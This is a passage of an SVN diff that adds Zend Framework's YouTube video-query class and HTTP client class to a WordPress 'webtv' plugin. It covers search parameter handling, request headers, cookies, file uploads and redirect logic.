+        } else {
+            unset($this->_params['format']);
+        }
+        return $this;
+    }
+
+    /**
+     * Sets whether or not to include racy videos in the search results
+     *
+     * @param string $value
+     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
+     */
+    public function setRacy($value = null)
+    {
+        switch ($value) {
+            case 'include':
+                $this->_params['racy'] = $value;
+                break;
+            case 'exclude':
+                $this->_params['racy'] = $value;
+                break;
+            case null:
+                unset($this->_params['racy']);
+                break;
+        }
+        return $this;
+    }
+
+    /**
+     * Whether or not to include racy videos in the search results
+     *
+     * @return string|null The value of racy if it exists, null otherwise.
+     */
+    public function getRacy()
+    {
+        if (array_key_exists('racy', $this->_params)) {
+            return $this->_params['racy'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Set the safeSearch parameter
+     *
+     * @param string $value The value of the parameter, currently only 'none',
+     *        'moderate' or 'strict' are allowed values.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
+     */
+    public function setSafeSearch($value)
+    {
+    	switch ($value) {
+            case 'none':
+                $this->_params['safeSearch'] = 'none';
+                break;
+    		case 'moderate':
+                $this->_params['safeSearch'] = 'moderate';
+                break;
+            case 'strict':
+                $this->_params['safeSearch'] = 'strict';
+                break;
+            case null:
+                unset($this->_params['safeSearch']);
+            default:
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException(
+                    'The safeSearch parameter only supports the values '.
+                    '\'none\', \'moderate\' or \'strict\'.');
+    	}
+    }
+
+    /**
+     * Return the value of the safeSearch parameter
+     *
+     * @return string|null The value of the safeSearch parameter if it has been
+     *         set, null otherwise.
+     */
+    public function getSafeSearch()
+    {
+    	if (array_key_exists('safeSearch', $this->_params)) {
+    		return $this->_params['safeSearch'];
+    	}
+        return $this;
+    }
+
+    /**
+     * Set the value of the orderby parameter
+     *
+     * @param string $value
+     * @return Zend_Gdata_YouTube_Query Provides a fluent interface
+     */
+    public function setOrderBy($value)
+    {
+        if ($value != null) {
+            $this->_params['orderby'] = $value;
+        } else {
+            unset($this->_params['orderby']);
+        }
+        return $this;
+    }
+
+    /**
+     * Return the value of the format parameter
+     *
+     * @return string|null The value of format if it exists, null otherwise.
+     */
+    public function getFormat()
+    {
+        if (array_key_exists('format', $this->_params)) {
+            return $this->_params['format'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Return the value of the video query that has been set
+     *
+     * @return string|null The value of the video query if it exists,
+     *         null otherwise.
+     */
+    public function getVideoQuery()
+    {
+        if (array_key_exists('vq', $this->_params)) {
+            return $this->_params['vq'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Return the value of the time parameter
+     *
+     * @return string|null The time parameter if it exists, null otherwise.
+     */
+    public function getTime()
+    {
+        if (array_key_exists('time', $this->_params)) {
+            return $this->_params['time'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Return the value of the orderby parameter if it exists
+     *
+     * @return string|null The value of orderby if it exists, null otherwise.
+     */
+    public function getOrderBy()
+    {
+        if (array_key_exists('orderby', $this->_params)) {
+            return $this->_params['orderby'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Generate the query string from the URL parameters, optionally modifying
+     * them based on protocol version.
+     *
+     * @param integer $majorProtocolVersion The major protocol version
+     * @param integer $minorProtocolVersion The minor protocol version
+     * @throws Zend_Gdata_App_VersionException
+     * @return string querystring
+     */
+    public function getQueryString($majorProtocolVersion = null,
+        $minorProtocolVersion = null)
+    {
+        $queryArray = array();
+
+        foreach ($this->_params as $name => $value) {
+            if (substr($name, 0, 1) == '_') {
+                continue;
+            }
+
+            switch($name) {
+                case 'location-radius':
+                    if ($majorProtocolVersion == 1) {
+                        require_once 'Zend/Gdata/App/VersionException.php';
+                        throw new Zend_Gdata_App_VersionException("The $name " .
+                            "parameter is only supported in version 2.");
+                    }
+                    break;
+
+            	case 'racy':
+                    if ($majorProtocolVersion == 2) {
+                        require_once 'Zend/Gdata/App/VersionException.php';
+                        throw new Zend_Gdata_App_VersionException("The $name " .
+                            "parameter is not supported in version 2. " .
+                            "Please use 'safeSearch'.");
+                    }
+                    break;
+
+                case 'safeSearch':
+                    if ($majorProtocolVersion == 1) {
+                        require_once 'Zend/Gdata/App/VersionException.php';
+                        throw new Zend_Gdata_App_VersionException("The $name " .
+                            "parameter is only supported in version 2. " .
+                            "Please use 'racy'.");
+                    }
+                    break;
+
+                case 'uploader':
+                    if ($majorProtocolVersion == 1) {
+                        require_once 'Zend/Gdata/App/VersionException.php';
+                        throw new Zend_Gdata_App_VersionException("The $name " .
+                            "parameter is only supported in version 2.");
+                    }
+                    break;
+
+                case 'vq':
+                    if ($majorProtocolVersion == 2) {
+                        $name = 'q';
+                    }
+                    break;
+            }
+
+            $queryArray[] = urlencode($name) . '=' . urlencode($value);
+
+        }
+        if (count($queryArray) > 0) {
+            return '?' . implode('&', $queryArray);
+        } else {
+            return '';
+        }
+    }
+
+    /**
+     * Returns the generated full query URL, optionally modifying it based on
+     * the protocol version.
+     *
+     * @param integer $majorProtocolVersion The major protocol version
+     * @param integer $minorProtocolVersion The minor protocol version
+     * @return string The URL
+     */
+    public function getQueryUrl($majorProtocolVersion = null,
+        $minorProtocolVersion = null)
+    {
+        if (isset($this->_url)) {
+            $url = $this->_url;
+        } else {
+            $url = Zend_Gdata_YouTube::VIDEO_URI;
+        }
+        if ($this->getCategory() !== null) {
+            $url .= '/-/' . $this->getCategory();
+        }
+        $url = $url . $this->getQueryString($majorProtocolVersion,
+            $minorProtocolVersion);
+        return $url;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client.php	(revision 44)
@@ -0,0 +1,1243 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client
+ * @version    $Id: Client.php 14207 2009-03-03 06:35:09Z rob $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Loader
+ */
+require_once 'Zend/Loader.php';
+
+
+/**
+ * @see Zend_Uri
+ */
+require_once 'Zend/Uri.php';
+
+
+/**
+ * @see Zend_Http_Client_Adapter_Interface
+ */
+require_once 'Zend/Http/Client/Adapter/Interface.php';
+
+
+/**
+ * @see Zend_Http_Response
+ */
+require_once 'Zend/Http/Response.php';
+
+/**
+ * Zend_Http_Client is an implemetation of an HTTP client in PHP. The client
+ * supports basic features like sending different HTTP requests and handling
+ * redirections, as well as more advanced features like proxy settings, HTTP
+ * authentication and cookie persistance (using a Zend_Http_CookieJar object)
+ *
+ * @todo Implement proxy settings
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client
+ * @throws     Zend_Http_Client_Exception
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Client
+{
+    /**
+     * HTTP request methods
+     */
+    const GET     = 'GET';
+    const POST    = 'POST';
+    const PUT     = 'PUT';
+    const HEAD    = 'HEAD';
+    const DELETE  = 'DELETE';
+    const TRACE   = 'TRACE';
+    const OPTIONS = 'OPTIONS';
+    const CONNECT = 'CONNECT';
+
+    /**
+     * Supported HTTP Authentication methods
+     */
+    const AUTH_BASIC = 'basic';
+    //const AUTH_DIGEST = 'digest'; <-- not implemented yet
+
+    /**
+     * HTTP protocol versions
+     */
+    const HTTP_1 = '1.1';
+    const HTTP_0 = '1.0';
+
+    /**
+     * Content attributes
+     */
+    const CONTENT_TYPE   = 'Content-Type';
+    const CONTENT_LENGTH = 'Content-Length';
+
+    /**
+     * POST data encoding methods
+     */
+    const ENC_URLENCODED = 'application/x-www-form-urlencoded';
+    const ENC_FORMDATA   = 'multipart/form-data';
+
+    /**
+     * Configuration array, set using the constructor or using ::setConfig()
+     *
+     * @var array
+     */
+    protected $config = array(
+        'maxredirects'    => 5,
+        'strictredirects' => false,
+        'useragent'       => 'Zend_Http_Client',
+        'timeout'         => 10,
+        'adapter'         => 'Zend_Http_Client_Adapter_Socket',
+        'httpversion'     => self::HTTP_1,
+        'keepalive'       => false,
+        'storeresponse'   => true,
+        'strict'          => true
+    );
+
+    /**
+     * The adapter used to preform the actual connection to the server
+     *
+     * @var Zend_Http_Client_Adapter_Interface
+     */
+    protected $adapter = null;
+
+    /**
+     * Request URI
+     *
+     * @var Zend_Uri_Http
+     */
+    protected $uri;
+
+    /**
+     * Associative array of request headers
+     *
+     * @var array
+     */
+    protected $headers = array();
+
+    /**
+     * HTTP request method
+     *
+     * @var string
+     */
+    protected $method = self::GET;
+
+    /**
+     * Associative array of GET parameters
+     *
+     * @var array
+     */
+    protected $paramsGet = array();
+
+    /**
+     * Assiciative array of POST parameters
+     *
+     * @var array
+     */
+    protected $paramsPost = array();
+
+    /**
+     * Request body content type (for POST requests)
+     *
+     * @var string
+     */
+    protected $enctype = null;
+
+    /**
+     * The raw post data to send. Could be set by setRawData($data, $enctype).
+     *
+     * @var string
+     */
+    protected $raw_post_data = null;
+
+    /**
+     * HTTP Authentication settings
+     *
+     * Expected to be an associative array with this structure:
+     * $this->auth = array('user' => 'username', 'password' => 'password', 'type' => 'basic')
+     * Where 'type' should be one of the supported authentication types (see the AUTH_*
+     * constants), for example 'basic' or 'digest'.
+     *
+     * If null, no authentication will be used.
+     *
+     * @var array|null
+     */
+    protected $auth;
+
+    /**
+     * File upload arrays (used in POST requests)
+     *
+     * An associative array, where each element is of the format:
+     *   'name' => array('filename.txt', 'text/plain', 'This is the actual file contents')
+     *
+     * @var array
+     */
+    protected $files = array();
+
+    /**
+     * The client's cookie jar
+     *
+     * @var Zend_Http_CookieJar
+     */
+    protected $cookiejar = null;
+
+    /**
+     * The last HTTP request sent by the client, as string
+     *
+     * @var string
+     */
+    protected $last_request = null;
+
+    /**
+     * The last HTTP response received by the client
+     *
+     * @var Zend_Http_Response
+     */
+    protected $last_response = null;
+
+    /**
+     * Redirection counter
+     *
+     * @var int
+     */
+    protected $redirectCounter = 0;
+
+    /**
+     * Fileinfo magic database resource
+     * 
+     * This varaiable is populated the first time _detectFileMimeType is called
+     * and is then reused on every call to this method
+     *
+     * @var resource
+     */
+    static protected $_fileInfoDb = null;
+    
+    /**
+     * Contructor method. Will create a new HTTP client. Accepts the target
+     * URL and optionally configuration array.
+     *
+     * @param Zend_Uri_Http|string $uri
+     * @param array $config Configuration key-value pairs.
+     */
+    public function __construct($uri = null, $config = null)
+    {
+        if ($uri !== null) {
+            $this->setUri($uri);
+        }
+        if ($config !== null) {
+            $this->setConfig($config);
+        }
+    }
+
+    /**
+     * Set the URI for the next request
+     *
+     * @param  Zend_Uri_Http|string $uri
+     * @return Zend_Http_Client
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setUri($uri)
+    {
+        if (is_string($uri)) {
+            $uri = Zend_Uri::factory($uri);
+        }
+
+        if (!$uri instanceof Zend_Uri_Http) {
+            /** @see Zend_Http_Client_Exception */
+            require_once 'Zend/Http/Client/Exception.php';
+            throw new Zend_Http_Client_Exception('Passed parameter is not a valid HTTP URI.');
+        }
+
+        // We have no ports, set the defaults
+        if (! $uri->getPort()) {
+            $uri->setPort(($uri->getScheme() == 'https' ? 443 : 80));
+        }
+
+        $this->uri = $uri;
+
+        return $this;
+    }
+
+    /**
+     * Get the URI for the next request
+     *
+     * @param boolean $as_string If true, will return the URI as a string
+     * @return Zend_Uri_Http|string
+     */
+    public function getUri($as_string = false)
+    {
+        if ($as_string && $this->uri instanceof Zend_Uri_Http) {
+            return $this->uri->__toString();
+        } else {
+            return $this->uri;
+        }
+    }
+
+    /**
+     * Set configuration parameters for this HTTP client
+     *
+     * @param array $config
+     * @return Zend_Http_Client
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setConfig($config = array())
+    {
+        if (! is_array($config)) {
+            /** @see Zend_Http_Client_Exception */
+            require_once 'Zend/Http/Client/Exception.php';
+            throw new Zend_Http_Client_Exception('Expected array parameter, given ' . gettype($config));
+        }
+
+        foreach ($config as $k => $v)
+            $this->config[strtolower($k)] = $v;
+
+        // Pass configuration options to the adapter if it exists
+        if ($this->adapter instanceof Zend_Http_Client_Adapter_Interface) {
+            $this->adapter->setConfig($config);
+        }
+        
+        return $this;
+    }
+
+    /**
+     * Set the next request's method
+     *
+     * Validated the passed method and sets it. If we have files set for
+     * POST requests, and the new method is not POST, the files are silently
+     * dropped.
+     *
+     * @param string $method
+     * @return Zend_Http_Client
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setMethod($method = self::GET)
+    {
+        $regex = '/^[^\x00-\x1f\x7f-\xff\(\)<>@,;:\\\\"\/\[\]\?={}\s]+$/';
+        if (! preg_match($regex, $method)) {
+            /** @see Zend_Http_Client_Exception */
+            require_once 'Zend/Http/Client/Exception.php';
+            throw new Zend_Http_Client_Exception("'{$method}' is not a valid HTTP request method.");
+        }
+
+        if ($method == self::POST && $this->enctype === null)
+            $this->setEncType(self::ENC_URLENCODED);
+
+        $this->method = $method;
+
+        return $this;
+    }
+
+    /**
+     * Set one or more request headers
+     *
+     * This function can be used in several ways to set the client's request
+     * headers:
+     * 1. By providing two parameters: $name as the header to set (eg. 'Host')
+     *    and $value as it's value (eg. 'www.example.com').
+     * 2. By providing a single header string as the only parameter
+     *    eg. 'Host: www.example.com'
+     * 3. By providing an array of headers as the first parameter
+     *    eg. array('host' => 'www.example.com', 'x-foo: bar'). In This case
+     *    the function will call itself recursively for each array item.
+     *
+     * @param string|array $name Header name, full header string ('Header: value')
+     *     or an array of headers
+     * @param mixed $value Header value or null
+     * @return Zend_Http_Client
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setHeaders($name, $value = null)
+    {
+        // If we got an array, go recusive!
+        if (is_array($name)) {
+            foreach ($name as $k => $v) {
+                if (is_string($k)) {
+                    $this->setHeaders($k, $v);
+                } else {
+                    $this->setHeaders($v, null);
+                }
+            }
+        } else {
+            // Check if $name needs to be split
+            if ($value === null && (strpos($name, ':') > 0)) {
+                list($name, $value) = explode(':', $name, 2);
+            }
+
+            // Make sure the name is valid if we are in strict mode
+            if ($this->config['strict'] && (! preg_match('/^[a-zA-Z0-9-]+$/', $name))) {
+                /** @see Zend_Http_Client_Exception */
+                require_once 'Zend/Http/Client/Exception.php';
+                throw new Zend_Http_Client_Exception("{$name} is not a valid HTTP header name");
+            }
+            
+            $normalized_name = strtolower($name);
+
+            // If $value is null or false, unset the header
+            if ($value === null || $value === false) {
+                unset($this->headers[$normalized_name]);
+
+            // Else, set the header
+            } else {
+                // Header names are storred lowercase internally.
+                if (is_string($value)) {
+                    $value = trim($value);
+                }
+                $this->headers[$normalized_name] = array($name, $value);
+            }
+        }
+
+        return $this;
+    }
+
+    /**
+     * Get the value of a specific header
+     *
+     * Note that if the header has more than one value, an array
+     * will be returned.
+     *
+     * @param string $key
+     * @return string|array|null The header value or null if it is not set
+     */
+    public function getHeader($key)
+    {
+        $key = strtolower($key);
+        if (isset($this->headers[$key])) {
+            return $this->headers[$key][1];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Set a GET parameter for the request. Wrapper around _setParameter
+     *
+     * @param string|array $name
+     * @param string $value
+     * @return Zend_Http_Client
+     */
+    public function setParameterGet($name, $value = null)
+    {
+        if (is_array($name)) {
+            foreach ($name as $k => $v)
+                $this->_setParameter('GET', $k, $v);
+        } else {
+            $this->_setParameter('GET', $name, $value);
+        }
+
+        return $this;
+    }
+
+    /**
+     * Set a POST parameter for the request. Wrapper around _setParameter
+     *
+     * @param string|array $name
+     * @param string $value
+     * @return Zend_Http_Client
+     */
+    public function setParameterPost($name, $value = null)
+    {
+        if (is_array($name)) {
+            foreach ($name as $k => $v)
+                $this->_setParameter('POST', $k, $v);
+        } else {
+            $this->_setParameter('POST', $name, $value);
+        }
+
+        return $this;
+    }
+
+    /**
+     * Set a GET or POST parameter - used by SetParameterGet and SetParameterPost
+     *
+     * @param string $type GET or POST
+     * @param string $name
+     * @param string $value
+     * @return null
+     */
+    protected function _setParameter($type, $name, $value)
+    {
+        $parray = array();
+        $type = strtolower($type);
+        switch ($type) {
+            case 'get':
+                $parray = &$this->paramsGet;
+                break;
+            case 'post':
+                $parray = &$this->paramsPost;
+                break;
+        }
+
+        if ($value === null) {
+            if (isset($parray[$name])) unset($parray[$name]);
+        } else {
+            $parray[$name] = $value;
+        }
+    }
+
+    /**
+     * Get the number of redirections done on the last request
+     *
+     * @return int
+     */
+    public function getRedirectionsCount()
+    {
+        return $this->redirectCounter;
+    }
+
+    /**
+     * Set HTTP authentication parameters
+     *
+     * $type should be one of the supported types - see the self::AUTH_*
+     * constants.
+     *
+     * To enable authentication:
+     * <code>
+     * $this->setAuth('shahar', 'secret', Zend_Http_Client::AUTH_BASIC);
+     * </code>
+     *
+     * To disable authentication:
+     * <code>
+     * $this->setAuth(false);
+     * </code>
+     *
+     * @see http://www.faqs.org/rfcs/rfc2617.html
+     * @param string|false $user User name or false disable authentication
+     * @param string $password Password
+     * @param string $type Authentication type
+     * @return Zend_Http_Client
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setAuth($user, $password = '', $type = self::AUTH_BASIC)
+    {
+        // If we got false or null, disable authentication
+        if ($user === false || $user === null) {
+            $this->auth = null;
+
+        // Else, set up authentication
+        } else {
+            // Check we got a proper authentication type
+            if (! defined('self::AUTH_' . strtoupper($type))) {
+                /** @see Zend_Http_Client_Exception */
+                require_once 'Zend/Http/Client/Exception.php';
+                throw new Zend_Http_Client_Exception("Invalid or not supported authentication type: '$type'");
+            }
+
+            $this->auth = array(
+                'user' => (string) $user,
+                'password' => (string) $password,
+                'type' => $type
+            );
+        }
+
+        return $this;
+    }
+
+    /**
+     * Set the HTTP client's cookie jar.
+     *
+     * A cookie jar is an object that holds and maintains cookies across HTTP requests
+     * and responses.
+     *
+     * @param Zend_Http_CookieJar|boolean $cookiejar Existing cookiejar object, true to create a new one, false to disable
+     * @return Zend_Http_Client
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setCookieJar($cookiejar = true)
+    {
+        if (! class_exists('Zend_Http_CookieJar')) {
+            require_once 'Zend/Http/CookieJar.php';
+        }
+
+        if ($cookiejar instanceof Zend_Http_CookieJar) {
+            $this->cookiejar = $cookiejar;
+        } elseif ($cookiejar === true) {
+            $this->cookiejar = new Zend_Http_CookieJar();
+        } elseif (! $cookiejar) {
+            $this->cookiejar = null;
+        } else {
+            /** @see Zend_Http_Client_Exception */
+            require_once 'Zend/Http/Client/Exception.php';
+            throw new Zend_Http_Client_Exception('Invalid parameter type passed as CookieJar');
+        }
+
+        return $this;
+    }
+
+    /**
+     * Return the current cookie jar or null if none.
+     *
+     * @return Zend_Http_CookieJar|null
+     */
+    public function getCookieJar()
+    {
+        return $this->cookiejar;
+    }
+
+    /**
+     * Add a cookie to the request. If the client has no Cookie Jar, the cookies
+     * will be added directly to the headers array as "Cookie" headers.
+     *
+     * @param Zend_Http_Cookie|string $cookie
+     * @param string|null $value If "cookie" is a string, this is the cookie value.
+     * @return Zend_Http_Client
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setCookie($cookie, $value = null)
+    {
+        if (! class_exists('Zend_Http_Cookie')) {
+            require_once 'Zend/Http/Cookie.php';
+        }
+
+        if (is_array($cookie)) {
+            foreach ($cookie as $c => $v) {
+                if (is_string($c)) {
+                    $this->setCookie($c, $v);
+                } else {
+                    $this->setCookie($v);
+                }
+            }
+
+            return $this;
+        }
+
+        if ($value !== null) {
+            $value = urlencode($value);
+        }
+
+        if (isset($this->cookiejar)) {
+            if ($cookie instanceof Zend_Http_Cookie) {
+                $this->cookiejar->addCookie($cookie);
+            } elseif (is_string($cookie) && $value !== null) {
+                $cookie = Zend_Http_Cookie::fromString("{$cookie}={$value}", $this->uri);
+                $this->cookiejar->addCookie($cookie);
+            }
+        } else {
+            if ($cookie instanceof Zend_Http_Cookie) {
+                $name = $cookie->getName();
+                $value = $cookie->getValue();
+                $cookie = $name;
+            }
+
+            if (preg_match("/[=,; \t\r\n\013\014]/", $cookie)) {
+                /** @see Zend_Http_Client_Exception */
+                require_once 'Zend/Http/Client/Exception.php';
+                throw new Zend_Http_Client_Exception("Cookie name cannot contain these characters: =,; \t\r\n\013\014 ({$cookie})");
+            }
+
+            $value = addslashes($value);
+
+            if (! isset($this->headers['cookie'])) {
+                $this->headers['cookie'] = array('Cookie', '');
+            }
+            $this->headers['cookie'][1] .= $cookie . '=' . $value . '; ';
+        }
+
+        return $this;
+    }
+
+    /**
+     * Set a file to upload (using a POST request)
+     *
+     * Can be used in two ways:
+     *
+     * 1. $data is null (default): $filename is treated as the name if a local file which
+     *    will be read and sent. Will try to guess the content type using mime_content_type().
+     * 2. $data is set - $filename is sent as the file name, but $data is sent as the file
+     *    contents and no file is read from the file system. In this case, you need to
+     *    manually set the Content-Type ($ctype) or it will default to
+     *    application/octet-stream.
+     *
+     * @param string $filename Name of file to upload, or name to save as
+     * @param string $formname Name of form element to send as
+     * @param string $data Data to send (if null, $filename is read and sent)
+     * @param string $ctype Content type to use (if $data is set and $ctype is
+     *     null, will be application/octet-stream)
+     * @return Zend_Http_Client
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setFileUpload($filename, $formname, $data = null, $ctype = null)
+    {
+        if ($data === null) {
+            if (($data = @file_get_contents($filename)) === false) {
+                /** @see Zend_Http_Client_Exception */
+                require_once 'Zend/Http/Client/Exception.php';
+                throw new Zend_Http_Client_Exception("Unable to read file '{$filename}' for upload");
+            }
+
+            if (! $ctype) {
+                $ctype = $this->_detectFileMimeType($filename);
+            }
+        }
+
+        // Force enctype to multipart/form-data
+        $this->setEncType(self::ENC_FORMDATA);
+
+        $this->files[$formname] = array(basename($filename), $ctype, $data);
+
+        return $this;
+    }
+
+    /**
+     * Set the encoding type for POST data
+     *
+     * @param string $enctype
+     * @return Zend_Http_Client
+     */
+    public function setEncType($enctype = self::ENC_URLENCODED)
+    {
+        $this->enctype = $enctype;
+
+        return $this;
+    }
+
+    /**
+     * Set the raw (already encoded) POST data.
+     *
+     * This function is here for two reasons:
+     * 1. For advanced user who would like to set their own data, already encoded
+     * 2. For backwards compatibilty: If someone uses the old post($data) method.
+     *    this method will be used to set the encoded data.
+     *
+     * @param string $data
+     * @param string $enctype
+     * @return Zend_Http_Client
+     */
+    public function setRawData($data, $enctype = null)
+    {
+        $this->raw_post_data = $data;
+        $this->setEncType($enctype);
+
+        return $this;
+    }
+
+    /**
+     * Clear all GET and POST parameters
+     *
+     * Should be used to reset the request parameters if the client is
+     * used for several concurrent requests.
+     *
+     * @return Zend_Http_Client
+     */
+    public function resetParameters()
+    {
+        // Reset parameter data
+        $this->paramsGet     = array();
+        $this->paramsPost    = array();
+        $this->files         = array();
+        $this->raw_post_data = null;
+
+        // Clear outdated headers
+        if (isset($this->headers[strtolower(self::CONTENT_TYPE)])) {
+            unset($this->headers[strtolower(self::CONTENT_TYPE)]);
+        }
+        if (isset($this->headers[strtolower(self::CONTENT_LENGTH)])) {
+            unset($this->headers[strtolower(self::CONTENT_LENGTH)]);
+        }
+
+        return $this;
+    }
+
+    /**
+     * Get the last HTTP request as string
+     *
+     * @return string
+     */
+    public function getLastRequest()
+    {
+        return $this->last_request;
+    }
+
+    /**
+     * Get the last HTTP response received by this client
+     *
+     * If $config['storeresponse'] is set to false, or no response was
+     * stored yet, will return null
+     *
+     * @return Zend_Http_Response or null if none
+     */
+    public function getLastResponse()
+    {
+        return $this->last_response;
+    }
+
+    /**
+     * Load the connection adapter
+     *
+     * While this method is not called more than one for a client, it is
+     * seperated from ->request() to preserve logic and readability
+     *
+     * @param Zend_Http_Client_Adapter_Interface|string $adapter
+     * @return null
+     * @throws Zend_Http_Client_Exception
+     */
+    public function setAdapter($adapter)
+    {
+        if (is_string($adapter)) {
+            try {
+                Zend_Loader::loadClass($adapter);
+            } catch (Zend_Exception $e) {
+                /** @see Zend_Http_Client_Exception */
+                require_once 'Zend/Http/Client/Exception.php';
+                throw new Zend_Http_Client_Exception("Unable to load adapter '$adapter': {$e->getMessage()}");
+            }
+
+            $adapter = new $adapter;
+        }
+
+        if (! $adapter instanceof Zend_Http_Client_Adapter_Interface) {
+            /** @see Zend_Http_Client_Exception */
+            require_once 'Zend/Http/Client/Exception.php';
+            throw new Zend_Http_Client_Exception('Passed adapter is not a HTTP connection adapter');
+        }
+
+        $this->adapter = $adapter;
+        $config = $this->config;
+        unset($config['adapter']);
+        $this->adapter->setConfig($config);
+    }
+
+    /**
+     * Send the HTTP request and return an HTTP response object
+     *
+     * @param string $method
+     * @return Zend_Http_Response
+     * @throws Zend_Http_Client_Exception
+     */
+    public function request($method = null)
+    {
+        if (! $this->uri instanceof Zend_Uri_Http) {
+            /** @see Zend_Http_Client_Exception */
+            require_once 'Zend/Http/Client/Exception.php';
+            throw new Zend_Http_Client_Exception('No valid URI has been passed to the client');
+        }
+
+        if ($method) {
+            $this->setMethod($method);
+        }
+        $this->redirectCounter = 0;
+        $response = null;
+
+        // Make sure the adapter is loaded
+        if ($this->adapter == null) {
+            $this->setAdapter($this->config['adapter']);
+        }
+
+        // Send the first request. If redirected, continue.
+        do {
+            // Clone the URI and add the additional GET parameters to it
+            $uri = clone $this->uri;
+            if (! empty($this->paramsGet)) {
+                $query = $uri->getQuery();
+                   if (! empty($query)) {
+                       $query .= '&';
+                   }
+                $query .= http_build_query($this->paramsGet, null, '&');
+
+                $uri->setQuery($query);
+            }
+
+            $body = $this->_prepareBody();
+            $headers = $this->_prepareHeaders();
+
+            // Open the connection, send the request and read the response
+            $this->adapter->connect($uri->getHost(), $uri->getPort(),
+                ($uri->getScheme() == 'https' ? true : false));
+
+            $this->last_request = $this->adapter->write($this->method,
+                $uri, $this->config['httpversion'], $headers, $body);
+
+            $response = $this->adapter->read();
+            if (! $response) {
+                /** @see Zend_Http_Client_Exception */
+                require_once 'Zend/Http/Client/Exception.php';
+                throw new Zend_Http_Client_Exception('Unable to read response, or response is empty');
+            }
+
+            $response = Zend_Http_Response::fromString($response);
+            if ($this->config['storeresponse']) {
+                $this->last_response = $response;
+            }
+
+            // Load cookies into cookie jar
+            if (isset($this->cookiejar)) {
+                $this->cookiejar->addCookiesFromResponse($response, $uri);
+            }
+
+            // If we got redirected, look for the Location header
+            if ($response->isRedirect() && ($location = $response->getHeader('location'))) {
+
+                // Check whether we send the exact same request again, or drop the parameters
+                // and send a GET request
+                if ($response->getStatus() == 303 ||
+                   ((! $this->config['strictredirects']) && ($response->getStatus() == 302 ||
+                       $response->getStatus() == 301))) {
+
+                    $this->resetParameters();
+                    $this->setMethod(self::GET);
+                }
+
+                // If we got a well formed absolute URI
+                if (Zend_Uri_Http::check($location)) {
+                    $this->setHeaders('host', null);
+                    $this->setUri($location);
+
+                } else {
+
+                    // Split into path and query and set the query
+                    if (strpos($location, '?') !== false) {
+                        list($location, $query) = explode('?', $location, 2);
+                    } else {
+                        $query = '';
+                    }
+                    $this->uri->setQuery($query);
+
+                    // Else, if we got just an absolute path, set it
+                    if(strpos($location, '/') === 0) {
+                        $this->uri->setPath($location);
+
+                        // Else, assume we have a relative path
+                    } else {
+                        // Get the current path directory, removing any trailing slashes
+                        $path = $this->uri->getPath();
+                        $path = rtrim(substr($path, 0, strrpos($path, '/')), "/");
+                        $this->uri->setPath($path . '/' . $location);
+                    }
+                }
+                ++$this->redirectCounter;
+
+            } else {
+                // If we didn't get any location, stop redirecting
+                break;
+            }
+
+        } while ($this->redirectCounter < $this->config['maxredirects']);
+
+        return $response;
+    }
+
+    /**
+     * Prepare the request headers
+     *
+     * @return array
+     */
+    protected function _prepareHeaders()
+    {
+        $headers = array();
+
+        // Set the host header
+        if (! isset($this->headers['host'])) {
+            $host = $this->uri->getHost();
+
+            // If the port is not default, add it
+            if (! (($this->uri->getScheme() == 'http' && $this->uri->getPort() == 80) ||
+                  ($this->uri->getScheme() == 'https' && $this->uri->getPort() == 443))) {
+                $host .= ':' . $this->uri->getPort();
+            }
+
+            $headers[] = "Host: {$host}";
+        }
+
+        // Set the connection header
+        if (! isset($this->headers['connection'])) {
+            if (! $this->config['keepalive']) {
+                $headers[] = "Connection: close";
+            }
+        }
+
+        // Set the Accept-encoding header if not set - depending on whether
+        // zlib is available or not.
+        if (! isset($this->headers['accept-encoding'])) {
+            if (function_exists('gzinflate')) {
+                $headers[] = 'Accept-encoding: gzip, deflate';
+            } else {
+                $headers[] = 'Accept-encoding: identity';
+            }
+        }
+        
+        // Set the Content-Type header
+        if ($this->method == self::POST &&
+           (! isset($this->headers[strtolower(self::CONTENT_TYPE)]) && isset($this->enctype))) {
+
+            $headers[] = self::CONTENT_TYPE . ': ' . $this->enctype;
+        }
+        
+        // Set the user agent header
+        if (! isset($this->headers['user-agent']) && isset($this->config['useragent'])) {
+            $headers[] = "User-Agent: {$this->config['useragent']}";
+        }
+
+        // Set HTTP authentication if needed
+        if (is_array($this->auth)) {
+            $auth = self::encodeAuthHeader($this->auth['user'], $this->auth['password'], $this->auth['type']);
